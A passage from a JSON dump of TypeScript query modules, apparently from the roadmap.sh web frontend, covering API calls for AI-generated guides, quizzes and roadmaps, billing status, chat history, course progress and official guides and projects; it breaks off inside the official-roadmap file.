    "content": "import { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\nimport { queryOptions } from '@tanstack/react-query';\nimport {\n  markdownToHtml,\n  markdownToHtmlWithHighlighting,\n} from '../lib/markdown';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\n\nexport interface AIGuideDocument {\n  _id: string;\n  userId: string;\n  title: string;\n  slug?: string;\n  keyword: string;\n  content: string;\n  tokens: {\n    prompt: number;\n    completion: number;\n    total: number;\n  };\n\n  relatedTopics: string[];\n  deepDiveTopics: string[];\n  questions: string[];\n\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n\n  viewCount: number;\n  lastVisitedAt: Date;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GetAIGuideResponse = AIGuideDocument;\n\nexport function getAiGuideOptions(guideSlug?: string) {\n  return queryOptions({\n    queryKey: ['ai-guide', guideSlug],\n    queryFn: async () => {\n      const res = await httpGet<GetAIGuideResponse>(\n        `/v1-get-ai-guide/${guideSlug}`,\n      );\n\n      return {\n        ...res,\n        html: await markdownToHtmlWithHighlighting(res.content),\n      };\n    },\n    enabled: !!guideSlug,\n  });\n}\n\ntype AIGuideSuggestionsResponse = {\n  relatedTopics: string[];\n  deepDiveTopics: string[];\n  questions: string[];\n};\n\nexport function aiGuideSuggestionsOptions(guideSlug?: string) {\n  return queryOptions({\n    queryKey: ['ai-guide-suggestions', guideSlug],\n    queryFn: () => {\n      return httpGet<AIGuideSuggestionsResponse>(\n        `/v1-ai-guide-suggestions/${guideSlug}`,\n      );\n    },\n    enabled: !!guideSlug && !!isLoggedIn(),\n    refetchOnMount: false,\n  });\n}\n\nexport type ListUserAIGuidesQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n};\n\nexport type ListUserAIGuidesResponse = {\n  data: Omit<\n    AIGuideDocument,\n    'tokens' | 'relatedTopics' | 'deepDiveTopics' | 'questions'\n  >[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listUserAIGuidesOptions(\n  params: ListUserAIGuidesQuery = {\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  },\n) {\n  return queryOptions({\n    queryKey: ['ai-guides', params],\n    queryFn: async () => {\n      const response = await httpGet<ListUserAIGuidesResponse>(\n        `/v1-list-user-ai-guides`,\n        params,\n      );\n\n      return {\n        ...response,\n        data: response.data.map((guide) => {\n          const preview = guide.content.slice(0, 500);\n\n          return {\n            ...guide,\n            html: markdownToHtml(preview, false),\n          };\n        }),\n      };\n    },\n    enabled: !!isLoggedIn(),\n  });\n}\n"
  },
  {
    "path": "src/queries/ai-quiz.ts",
    "content": "import { nanoid } from 'nanoid';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\nimport { readChatStream } from '../lib/chat';\nimport { queryClient } from '../stores/query-client';\nimport { aiLimitOptions } from './ai-course';\nimport { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\n\ntype QuizDetails = {\n  quizId: string;\n  quizSlug: string;\n  userId: string;\n  title: string;\n};\n\ntype GenerateAIQuizOptions = {\n  term: string;\n  format: string;\n  isForce?: boolean;\n  prompt?: string;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n\n  quizSlug?: string;\n\n  onQuestionsChange?: (questions: QuizQuestion[]) => void;\n  onDetailsChange?: (details: QuizDetails) => void;\n  onLoadingChange?: (isLoading: boolean) => void;\n  onStreamingChange?: (isStreaming: boolean) => void;\n  onError?: (error: string) => void;\n  onFinish?: () => void;\n};\n\nexport async function generateAIQuiz(options: GenerateAIQuizOptions) {\n  const {\n    term,\n    format,\n    quizSlug,\n    onLoadingChange,\n    onError,\n    isForce = false,\n    prompt,\n    onDetailsChange,\n    onFinish,\n    questionAndAnswers,\n    onStreamingChange,\n    onQuestionsChange,\n  } = options;\n\n  onLoadingChange?.(true);\n  onStreamingChange?.(false);\n  try {\n    let response = null;\n\n    if (quizSlug && isForce) {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-regenerate-ai-quiz/${quizSlug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          credentials: 'include',\n          body: JSON.stringify({\n            prompt,\n          }),\n        },\n      );\n    } else {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-quiz`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            keyword: term,\n            format,\n            isForce,\n            customPrompt: prompt,\n            questionAndAnswers,\n          }),\n          credentials: 'include',\n        },\n      );\n    }\n\n    if (!response.ok) {\n      const data = await response.json();\n      console.error(\n        'Error generating quiz:',\n        data?.message || 'Something went wrong',\n      );\n      onLoadingChange?.(false);\n      onError?.(data?.message || 'Something went wrong');\n      return;\n    }\n\n    const stream = response.body;\n    if (!stream) {\n      console.error('Failed to get stream from response');\n      onError?.('Something went wrong');\n      onLoadingChange?.(false);\n      return;\n    }\n\n    onLoadingChange?.(false);\n    onStreamingChange?.(true);\n    await readChatStream(stream, {\n      onMessage: async (message) => {\n        const questions = generateAiQuizQuestions(message);\n        onQuestionsChange?.(questions);\n      },\n      onMessageEnd: async (result) => {\n        queryClient.invalidateQueries(aiLimitOptions());\n        onStreamingChange?.(false);\n      },\n      onDetails: async (details) => {\n        if (!details?.quizId || !details?.quizSlug) {\n          throw new Error('Invalid details');\n        }\n\n        onDetailsChange?.(details);\n      },\n    });\n    onFinish?.();\n  } catch (error: any) {\n    onError?.(error?.message || 'Something went wrong');\n    console.error('Error in quiz generation:', error);\n    onLoadingChange?.(false);\n    onStreamingChange?.(false);\n  }\n}\n\nexport type QuizQuestion = {\n  id: string;\n  title: string;\n  type: 'mcq' | 'open-ended';\n  options: {\n    id: string;\n    title: string;\n    isCorrect: boolean;\n  }[];\n  answerExplanation?: string;\n};\n\nexport function generateAiQuizQuestions(questionData: string): QuizQuestion[] {\n  const questions: QuizQuestion[] = [];\n  const lines = questionData.split('\\n');\n\n  let currentQuestion: QuizQuestion | null = null;\n  let context: 'question' | 'explanation' | 'option' | null = null;\n\n  const addCurrentQuestion = () => {\n    if (!currentQuestion) {\n      return;\n    }\n\n    if (currentQuestion.type === 'mcq') {\n      currentQuestion.options = currentQuestion.options.sort(\n        () => Math.random() - 0.5,\n      );\n    }\n\n    questions.push(currentQuestion);\n    currentQuestion = null;\n  };\n\n  for (const line of lines) {\n    if (!line) {\n      continue;\n    }\n\n    if (line.startsWith('###')) {\n      addCurrentQuestion();\n\n      currentQuestion = {\n        id: nanoid(),\n        title: line.slice(3).trim(),\n        type: 'open-ended',\n        options: [],\n      };\n      context = 'question';\n    } else if (line.startsWith('##')) {\n      if (!currentQuestion) {\n        continue;\n      }\n\n      currentQuestion.answerExplanation = line.slice(2).trim();\n      context = 'explanation';\n    } else if (line.startsWith('#')) {\n      addCurrentQuestion();\n\n      const title = line.slice(1).trim();\n      currentQuestion = {\n        id: nanoid(),\n        title,\n        type: 'mcq',\n        options: [],\n      };\n      context = 'question';\n    } else if (line.startsWith('-')) {\n      if (!currentQuestion) {\n        continue;\n      }\n\n      const rawOption = line.slice(1).trim();\n      const isCorrect = rawOption.startsWith('*');\n      const title = rawOption.slice(isCorrect ? 1 : 0).trim();\n      currentQuestion.options.push({\n        id: nanoid(),\n        title,\n        isCorrect,\n      });\n      context = 'option';\n    } else {\n      if (!currentQuestion) {\n        continue;\n      }\n\n      if (context === 'question') {\n        currentQuestion.title += `\\n${line}`;\n      } else if (context === 'explanation') {\n        currentQuestion.answerExplanation =\n          (currentQuestion?.answerExplanation || '') + `\\n${line}`;\n      } else if (context === 'option') {\n        const lastOption = currentQuestion.options.at(-1);\n        if (lastOption) {\n          lastOption.title += `\\n${line}`;\n        }\n      }\n    }\n  }\n\n  addCurrentQuestion();\n  return questions;\n}\n\nexport interface AIQuizDocument {\n  _id: string;\n  userId: string;\n  title: string;\n  slug: string;\n  keyword: string;\n  format: string;\n  content: string;\n\n  tokens?: {\n    prompt: number;\n    completion: number;\n    total: number;\n  };\n\n  questionAndAnswers: QuestionAnswerChatMessage[];\n\n  viewCount: number;\n  lastVisitedAt: Date;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GetAIQuizResponse = AIQuizDocument & {\n  questions: QuizQuestion[];\n};\n\nexport function aiQuizOptions(quizSlug?: string) {\n  return queryOptions({\n    queryKey: ['ai-quiz', quizSlug],\n    queryFn: async () => {\n      const res = await httpGet<GetAIQuizResponse>(\n        `/v1-get-ai-quiz/${quizSlug}`,\n      );\n\n      return {\n        ...res,\n        questions: generateAiQuizQuestions(res.content),\n      };\n    },\n    enabled: !!quizSlug,\n  });\n}\n\nexport type ListUserAiQuizzesQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n};\n\nexport type ListUserAiQuizzesResponse = {\n  data: Omit<AIQuizDocument, 'content' | 'questionAndAnswers'>[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listUserAiQuizzesOptions(\n  params: ListUserAiQuizzesQuery = {\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  },\n) {\n  return queryOptions({\n    queryKey: ['user-ai-quizzes', params],\n    queryFn: () => {\n      return httpGet<ListUserAiQuizzesResponse>(\n        `/v1-list-user-ai-quizzes`,\n        params,\n      );\n    },\n    enabled: !!isLoggedIn(),\n  });\n}\n"
  },
  {
    "path": "src/queries/ai-roadmap.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { generateAICourseRoadmapStructure } from '../lib/ai';\nimport { generateAIRoadmapFromText, renderFlowJSON } from '@roadmapsh/editor';\nimport { queryClient } from '../stores/query-client';\nimport { aiLimitOptions } from '../queries/ai-course';\nimport { readChatStream } from '../lib/chat';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\nimport { isLoggedIn } from '../lib/jwt';\n\nexport interface AIRoadmapDocument {\n  _id: string;\n  userId?: string;\n  userIp?: string;\n  title: string;\n  slug?: string;\n  term: string;\n  data: string;\n  viewCount: number;\n  lastVisitedAt: Date;\n  keyType?: 'system' | 'user';\n\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport type AIRoadmapResponse = AIRoadmapDocument & {\n  svgHtml?: string;\n};\n\nexport function aiRoadmapOptions(roadmapSlug?: string) {\n  return queryOptions<AIRoadmapResponse>({\n    queryKey: ['ai-roadmap', roadmapSlug],\n    queryFn: async () => {\n      const res = await httpGet<AIRoadmapResponse>(\n        `/v1-get-ai-roadmap/${roadmapSlug}`,\n      );\n\n      const result = generateAICourseRoadmapStructure(res.data);\n      const { nodes, edges } = generateAIRoadmapFromText(result);\n      const svg = renderFlowJSON({ nodes, edges });\n      if (!svg) {\n        return res;\n      }\n\n      const svgHtml = svg.outerHTML;\n\n      return {\n        ...res,\n        svgHtml,\n      };\n    },\n    enabled: !!roadmapSlug,\n  });\n}\n\ntype RoadmapDetails = {\n  roadmapId: string;\n  roadmapSlug: string;\n  userId: string;\n  title: string;\n};\n\ntype GenerateAIRoadmapOptions = {\n  term: string;\n  isForce?: boolean;\n  prompt?: string;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n\n  roadmapSlug?: string;\n\n  onRoadmapSvgChange?: (svg: SVGElement) => void;\n  onDetailsChange?: (details: RoadmapDetails) => void;\n  onLoadingChange?: (isLoading: boolean) => void;\n  onStreamingChange?: (isStreaming: boolean) => void;\n  onError?: (error: string) => void;\n  onFinish?: () => void;\n};\n\nexport async function generateAIRoadmap(options: GenerateAIRoadmapOptions) {\n  const {\n    term,\n    roadmapSlug,\n    onLoadingChange,\n    onError,\n    isForce = false,\n    prompt,\n    onDetailsChange,\n    onFinish,\n    questionAndAnswers,\n    onRoadmapSvgChange,\n    onStreamingChange,\n  } = options;\n\n  onLoadingChange?.(true);\n  onStreamingChange?.(false);\n  try {\n    let response = null;\n\n    if (roadmapSlug && isForce) {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-regenerate-ai-roadmap/${roadmapSlug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          credentials: 'include',\n          body: JSON.stringify({\n            prompt,\n          }),\n        },\n      );\n    } else {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-roadmap`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            term,\n            isForce,\n            customPrompt: prompt,\n            questionAndAnswers,\n          }),\n          credentials: 'include',\n        },\n      );\n    }\n\n    if (!response.ok) {\n      const data = await response.json();\n      console.error(\n        'Error generating course:',\n        data?.message || 'Something went wrong',\n      );\n      onLoadingChange?.(false);\n      onError?.(data?.message || 'Something went wrong');\n      return;\n    }\n\n    const stream = response.body;\n    if (!stream) {\n      console.error('Failed to get stream from response');\n      onError?.('Something went wrong');\n      onLoadingChange?.(false);\n      return;\n    }\n\n    onLoadingChange?.(false);\n    onStreamingChange?.(true);\n    await readChatStream(stream, {\n      onMessage: async (message) => {\n        const result = generateAICourseRoadmapStructure(message);\n        const { nodes, edges } = generateAIRoadmapFromText(result);\n        const svg = renderFlowJSON({ nodes, edges });\n        if (!svg) {\n          return;\n        }\n\n        onRoadmapSvgChange?.(svg);\n      },\n      onMessageEnd: async () => {\n        queryClient.invalidateQueries(aiLimitOptions());\n        onStreamingChange?.(false);\n      },\n      onDetails: async (details) => {\n        if (!details?.roadmapId || !details?.roadmapSlug) {\n          throw new Error('Invalid details');\n        }\n\n        onDetailsChange?.(details);\n      },\n    });\n    onFinish?.();\n  } catch (error: any) {\n    onError?.(error?.message || 'Something went wrong');\n    console.error('Error in course generation:', error);\n    onLoadingChange?.(false);\n    onStreamingChange?.(false);\n  }\n}\n\nexport type ListUserAiRoadmapsQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n};\n\nexport type ListUserAiRoadmapsResponse = {\n  data: Omit<AIRoadmapDocument, 'data' | 'questionAndAnswers'>[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listUserAiRoadmapsOptions(\n  params: ListUserAiRoadmapsQuery = {\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  },\n) {\n  return queryOptions({\n    queryKey: ['user-ai-roadmaps', params],\n    queryFn: () => {\n      return httpGet<ListUserAiRoadmapsResponse>(\n        `/v1-list-user-ai-roadmaps`,\n        params,\n      );\n    },\n    enabled: !!isLoggedIn(),\n  });\n}\n"
  },
  {
    "path": "src/queries/billing.ts",
    "content": "import { queryOptions, useQuery } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\nimport { queryClient } from '../stores/query-client';\n\nexport const allowedSubscriptionStatus = [\n  'active',\n  'canceled',\n  'incomplete',\n  'incomplete_expired',\n  'past_due',\n  'paused',\n  'trialing',\n  'unpaid',\n  'none',\n] as const;\nexport type AllowedSubscriptionStatus =\n  (typeof allowedSubscriptionStatus)[number];\n\nexport const USER_SUBSCRIPTION_PLAN_PRICES = [\n  {\n    name: 'Pay Monthly',\n    interval: 'month',\n    priceId: import.meta.env.PUBLIC_STRIPE_INDIVIDUAL_MONTHLY_PRICE_ID,\n    amount: import.meta.env.PUBLIC_STRIPE_INDIVIDUAL_MONTHLY_PRICE_AMOUNT,\n  },\n  {\n    name: 'Pay Yearly',\n    interval: 'year',\n    priceId: import.meta.env.PUBLIC_STRIPE_INDIVIDUAL_YEARLY_PRICE_ID,\n    amount: import.meta.env.PUBLIC_STRIPE_INDIVIDUAL_YEARLY_PRICE_AMOUNT,\n  },\n] as const;\n\nexport type AllowedSubscriptionInterval =\n  (typeof USER_SUBSCRIPTION_PLAN_PRICES)[number]['interval'];\n\ntype BillingDetailsResponse = {\n  status: AllowedSubscriptionStatus;\n  planId?: string;\n  priceId?: string;\n  interval?: string;\n  currentPeriodEnd?: Date;\n  cancelAtPeriodEnd?: boolean;\n};\n\nexport function billingDetailsOptions() {\n  return queryOptions({\n    queryKey: ['billing-details'],\n    queryFn: async () => {\n      return httpGet<BillingDetailsResponse>('/v1-billing-details');\n    },\n    enabled: !!isLoggedIn(),\n  });\n}\n\nexport function useIsPaidUser() {\n  const { data, isLoading } = useQuery(\n    {\n      queryKey: ['billing-details'],\n      queryFn: async () => {\n        return httpGet<BillingDetailsResponse>('/v1-billing-details');\n      },\n      enabled: !!isLoggedIn(),\n      select: (data) => data.status === 'active',\n    },\n    queryClient,\n  );\n\n  return {\n    isPaidUser: data ?? false,\n    isLoading,\n  };\n}\n\ntype CoursePriceParams = {\n  courseSlug: string;\n};\n\ntype CoursePriceResponse = {\n  flag: string;\n  fullPrice: number;\n  regionalPrice: number;\n  regionalDiscountPercentage: number;\n  isEligibleForDiscount: boolean;\n};\n\nexport function coursePriceOptions(params: CoursePriceParams) {\n  return queryOptions({\n    queryKey: ['course-price', params],\n    queryFn: async () => {\n      return httpGet<CoursePriceResponse>(\n        `/v1-course-price/${params.courseSlug}`,\n      );\n    },\n  });\n}\n"
  },
  {
    "path": "src/queries/changelog.ts",
    "content": "import { FetchError, httpGet } from '../lib/query-http';\n\nexport interface ChangelogImage {\n  title: string;\n  url: string;\n}\n\nexport interface ChangelogDocument {\n  _id: string;\n  slug: string;\n  title: string;\n  description: string;\n  images?: ChangelogImage[];\n  createdAt: string;\n  updatedAt: string;\n}\n\ntype ListChangelogQuery = {\n  limit?: number;\n};\n\nexport async function listChangelog(query: ListChangelogQuery = {}) {\n  try {\n    const changelogs = await httpGet<ChangelogDocument[]>(\n      `/v1-list-changelog`,\n      query,\n    );\n\n    return changelogs;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}"
  },
  {
    "path": "src/queries/chat-history.ts",
    "content": "import { infiniteQueryOptions, queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\nimport { markdownToHtml } from '../lib/markdown';\nimport { aiChatRenderer } from '../components/AIChat/AIChat';\nimport {\n  type MessagePartRenderer,\n  renderMessage,\n} from '../lib/render-chat-message';\nimport {\n  htmlFromTiptapJSON,\n  type RoadmapAIChatHistoryType,\n} from '../hooks/use-roadmap-ai-chat';\nimport type { JSONContent } from '@tiptap/core';\nimport type { UIMessage } from 'ai';\nimport type { ChatUIMessage } from '../lib/ai';\n\nexport type ChatHistoryMessage = {\n  _id: string;\n  role: 'user' | 'assistant';\n  content: string;\n  json?: JSONContent;\n};\n\nexport interface ChatHistoryDocument {\n  _id: string;\n\n  userId: string;\n  roadmapId?: string;\n  title: string;\n  messages: ChatUIMessage[];\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport function chatHistoryOptions(chatHistoryId?: string) {\n  return queryOptions({\n    queryKey: ['chat-history-details', chatHistoryId],\n    queryFn: async () => {\n      const data = await httpGet<ChatHistoryDocument>(\n        `/v1-chat-history/${chatHistoryId}`,\n      );\n\n      if (data.title) {\n        document.title = data.title;\n      }\n\n      return data;\n    },\n    enabled: !!isLoggedIn() && !!chatHistoryId,\n  });\n}\n\ntype ListChatHistoryQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n  roadmapId?: string;\n};\n\nexport type ChatHistoryWithoutMessages = Omit<ChatHistoryDocument, 'messages'>;\n\ntype ListChatHistoryResponse = {\n  data: ChatHistoryWithoutMessages[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listChatHistoryOptions(\n  query: ListChatHistoryQuery = {\n    query: '',\n    roadmapId: '',\n  },\n) {\n  return infiniteQueryOptions({\n    queryKey: ['list-chat-history', query],\n    queryFn: ({ pageParam }) => {\n      return httpGet<ListChatHistoryResponse>('/v1-list-chat-history', {\n        ...(query?.query ? { query: query.query } : {}),\n        ...(query?.roadmapId ? { roadmapId: query.roadmapId } : {}),\n        ...(pageParam ? { currPage: pageParam } : {}),\n        perPage: '21',\n      });\n    },\n    enabled: !!isLoggedIn(),\n    getNextPageParam: (lastPage, pages) => {\n      return lastPage.currPage < lastPage.totalPages\n        ? lastPage.currPage + 1\n        : undefined;\n    },\n    initialPageParam: 1,\n  });\n}\n"
  },
  {
    "path": "src/queries/course-progress.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { isLoggedIn } from '../lib/jwt';\nimport { httpGet } from '../lib/query-http';\n\nexport interface CourseProgressDocument {\n  _id: string;\n  userId: string;\n  courseId: string;\n  completed: {\n    chapterId: string;\n    lessonId: string;\n    completedAt: Date;\n  }[];\n  review?: {\n    rating: number;\n    feedback?: string;\n  };\n\n  enrolledAt?: Date;\n  completedAt?: Date;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport type CourseProgressResponse = Pick<\n  CourseProgressDocument,\n  'completed' | 'completedAt' | 'review' | 'enrolledAt'\n>;\n\nexport function courseProgressOptions(courseSlug: string) {\n  return queryOptions({\n    queryKey: ['course-progress', courseSlug],\n    retryOnMount: false,\n    queryFn: async () => {\n      return httpGet<CourseProgressResponse>(\n        `/v1-course-progress/${courseSlug}`,\n      );\n    },\n    enabled: !!isLoggedIn(),\n  });\n}\n"
  },
  {
    "path": "src/queries/official-guide.ts",
    "content": "import { FetchError, httpGet } from '../lib/query-http';\n\nexport const allowedOfficialGuideStatus = ['draft', 'published'] as const;\nexport type AllowedOfficialGuideStatus =\n  (typeof allowedOfficialGuideStatus)[number];\n\nexport interface OfficialGuideDocument {\n  _id: string;\n  title: string;\n  slug: string;\n  description?: string;\n  content: any;\n  authorId: string;\n  roadmapId?: string;\n  featuredImage?: string;\n  status: AllowedOfficialGuideStatus;\n  publishedAt?: Date;\n  seo?: {\n    metaTitle?: string;\n    metaDescription?: string;\n    keywords?: string[];\n  };\n  tags?: string[];\n\n  questionCount?: number;\n  questionTopicCount?: number;\n\n  viewCount?: number;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype ListOfficialGuidesQuery = {\n  authorSlug?: string;\n  roadmapId?: string;\n};\n\nexport async function listOfficialGuides(query: ListOfficialGuidesQuery = {}) {\n  try {\n    const guides = await httpGet<OfficialGuideDocument[]>(\n      `/v1-list-official-guides`,\n      query,\n    );\n\n    return guides.sort((a, b) => {\n      const aDate = new Date(a.createdAt);\n      const bDate = new Date(b.createdAt);\n\n      return bDate.getTime() - aDate.getTime();\n    });\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}\n\nexport interface OfficialAuthorDocument {\n  _id: string;\n  name: string;\n  slug: string;\n  bio?: string;\n  avatar?: string;\n  socialLinks?: {\n    twitter?: string;\n    linkedin?: string;\n    github?: string;\n    website?: string;\n  };\n  isActive: boolean;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GuideWithAuthor = OfficialGuideDocument & {\n  author?: Pick<\n    OfficialAuthorDocument,\n    'name' | 'slug' | 'avatar' | 'bio' | 'socialLinks'\n  >;\n  relatedGuides?: Pick<OfficialGuideDocument, 'title' | 'slug' | 'roadmapId'>[];\n};\n\nexport type OfficialGuideResponse = GuideWithAuthor;\n\nexport async function getOfficialGuide(slug: string, roadmapId?: string) {\n  try {\n    const guide = await httpGet<OfficialGuideResponse>(\n      `/v1-official-guide/${slug}`,\n      {\n        ...(roadmapId ? { roadmapId } : {}),\n      },\n    );\n\n    return guide;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return null;\n    }\n\n    throw error;\n  }\n}\n\nexport async function listOfficialAuthors() {\n  try {\n    const authors = await httpGet<OfficialAuthorDocument[]>(\n      `/v1-list-official-authors`,\n    );\n\n    return authors;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}\n\nexport function getOfficialGuideHref(slug: string, roadmapId?: string) {\n  const isExternal = roadmapId && roadmapId !== 'questions';\n  return isExternal\n    ? `${import.meta.env.PUBLIC_APP_URL}/${roadmapId}/${slug}`\n    : roadmapId\n      ? `/${roadmapId}/${slug}`\n      : `/guides/${slug}`;\n}\n"
  },
  {
    "path": "src/queries/official-project.ts",
    "content": "import { DateTime } from 'luxon';\nimport { FetchError, httpGet } from '../lib/query-http';\n\nexport const allowedOfficialProjectDifficulty = [\n  'beginner',\n  'intermediate',\n  'advanced',\n] as const;\nexport type AllowedOfficialProjectDifficulty =\n  (typeof allowedOfficialProjectDifficulty)[number];\n\nexport const allowedOfficialProjectStatus = ['draft', 'published'] as const;\nexport type AllowedOfficialProjectStatus =\n  (typeof allowedOfficialProjectStatus)[number];\n\nexport interface OfficialProjectDocument {\n  _id: string;\n\n  order: number;\n  title: string;\n  description: string;\n  slug: string;\n  difficulty: AllowedOfficialProjectDifficulty;\n  topics: string[];\n\n  status: AllowedOfficialProjectStatus;\n  publishedAt?: Date;\n\n  content: any;\n\n  seo: {\n    title?: string;\n    description?: string;\n    keywords?: string[];\n  };\n\n  skills: string[];\n  roadmapIds: string[];\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport async function officialProjectDetails(projectSlug: string) {\n  try {\n    const project = await httpGet<OfficialProjectDocument>(\n      `/v1-official-project/${projectSlug}`,\n    );\n\n    return project;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return null;\n    }\n\n    throw error;\n  }\n}\n\ntype ListOfficialProjectsQuery = {\n  roadmapId?: string;\n};\n\nexport async function listOfficialProjects(\n  query: ListOfficialProjectsQuery = {},\n) {\n  try {\n    const projects = await httpGet<OfficialProjectDocument[]>(\n      `/v1-list-official-projects`,\n      query,\n    );\n\n    return projects;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}\n\nexport function isNewProject(createdAt: Date) {\n  return (\n    createdAt &&\n    DateTime.now().diff(DateTime.fromJSDate(new Date(createdAt)), 'days').days <\n      45\n  );\n}\n\nexport async function getRoadmapsProjects(): Promise<\n  Record<string, OfficialProjectDocument[]>\n> {\n  const projects = await listOfficialProjects();\n  const roadmapsProjects: Record<string, OfficialProjectDocument[]> = {};\n\n  projects.forEach((project) => {\n    project.roadmapIds.forEach((roadmapId) => {\n      if (!roadmapsProjects[roadmapId]) {\n        roadmapsProjects[roadmapId] = [];\n      }\n\n      roadmapsProjects[roadmapId].push(project);\n    });\n  });\n\n  return roadmapsProjects;\n}\n"
  },
  {
    "path": "src/queries/official-roadmap-topic.ts",
    "content": "import { FetchError, httpGet } from '../lib/query-http';\n\nexport const allowedOfficialRoadmapTopicResourceType = [\n  'roadmap',\n  'official',\n  'opensource',\n  'article',\n  'course',\n  'podcast',\n  'video',\n  'book',\n  'feed',\n] as const;\nexport type AllowedOfficialRoadmapTopicResourceType =\n  (typeof allowedOfficialRoadmapTopicResourceType)[number];\n\nexport type OfficialRoadmapTopicResource = {\n  _id: string;\n  type: AllowedOfficialRoadmapTopicResourceType;\n  title: string;\n  url: string;\n};\n\nexport interface OfficialRoadmapTopicContentDocument {\n  _id: string;\n  roadmapSlug: string;\n  nodeId: string;\n  description: string;\n  resources: OfficialRoadmapTopicResource[];\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GetOfficialRoadmapTopicOptions = {\n  roadmapSlug: string;\n  nodeId: string;\n};\n\nexport type SyncToDatabaseTopicContent = Omit<\n  OfficialRoadmapTopicContentDocument,\n  'createdAt' | 'updatedAt' | '_id' | 'resources'\n> & {\n  resources: Omit<OfficialRoadmapTopicResource, '_id'>[];\n};\n\nexport async function getOfficialRoadmapTopic(\n  options: GetOfficialRoadmapTopicOptions,\n) {\n  const { roadmapSlug, nodeId } = options;\n\n  try {\n    const topic = await httpGet<OfficialRoadmapTopicContentDocument>(\n      `/v1-official-roadmap-topic/${roadmapSlug}/${nodeId}`,\n    );\n\n    return topic;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return null;\n    }\n\n    throw error;\n  }\n}\n\nexport function prepareOfficialRoadmapTopicContent(\n  topic: OfficialRoadmapTopicContentDocument,\n) {\n  const { description, resources = [] } = topic;\n\n  let content = description;\n  if (resources.length > 0) {\n    content += `\\n\\nVisit the following resources to learn more:\\n\\n${resources.map((resource) => `- [@${resource.type}@${resource.title}](${resource.url})`).join('\\n')}`;\n  }\n\n  return content;\n}\n"
  },
  {
    "path": "src/queries/official-roadmap.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { FetchError, httpGet } from '../lib/query-http';\nimport { DateTime } from 'luxon';\n\nexport const allowedOfficialRoadmapType = ['skill', 'role', 'best-practice'] as const;\nexport type AllowedOfficialRoadmapType =\n  (typeof allowedOfficialRoadmapType)[number];\n\nexport const allowedOfficialRoadmapQuestionType = ['faq', 'main'] as const;\nexport type AllowedOfficialRoadmapQuestionType =\n  (typeof allowedOfficialRoadmapQuestionType)[number];\n\nexport type OfficialRoadmapQuestion = {\n  _id: string;\n  type: AllowedOfficialRoadmapQuestionType;\n  title: string;\n  // Tiptap JSON Content\n  description: any;\n};\n\nexport type OfficialRoadmapCourse = {\n  _id: string;\n  title: string;\n  description: string;\n  link: string;\n  instructor: {\n    name: string;\n    image: string;\n    title: string;\n  };\n  features: string[];\n};\n\nexport interface OfficialRoadmapDocument {\n  _id?: string;\n  order: number;\n\n  title: {\n    card: string;\n    page: string;\n  };\n  description: string;\n\n  slug: string;\n  nodes: any[];\n  edges: any[];\n\n  draft: 